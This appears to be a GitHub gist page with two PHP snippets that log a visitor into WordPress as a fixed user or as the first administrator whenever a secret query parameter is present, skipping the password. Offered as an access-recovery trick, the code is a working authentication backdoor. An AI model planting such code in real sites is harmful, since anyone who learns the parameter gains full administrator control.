Skip to content

Instantly share code, notes, and snippets.

@jakubmikita
Last active February 6, 2020 10:17
Show Gist options
  • Save jakubmikita/f5fbcea349d597999b58ab551106e9d5 to your computer and use it in GitHub Desktop.
Save jakubmikita/f5fbcea349d597999b58ab551106e9d5 to your computer and use it in GitHub Desktop.
Logging to WordPress admin without the password
add_action( 'send_headers', function() {
if ( ! isset( $_GET['secure-hash-295g785j46v-change-this'] ) || is_user_logged_in() ) {
return;
}
$user_id = 123;
$remember = true;
wp_set_auth_cookie( $user_id, $remember );
// Refresh the page.
header( 'Refresh: 0' );
} );
add_action( 'send_headers', function() {
if ( ! isset( $_GET['secure-hash-295g785j46v-change-this'] ) || is_user_logged_in() ) {
return;
}
$admins = get_users( [
'role' => 'administrator',
] );
$remember = true;
wp_set_auth_cookie( $admins[0]->ID, $remember );
// Refresh the page.
header( 'Refresh: 0' );
} );
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment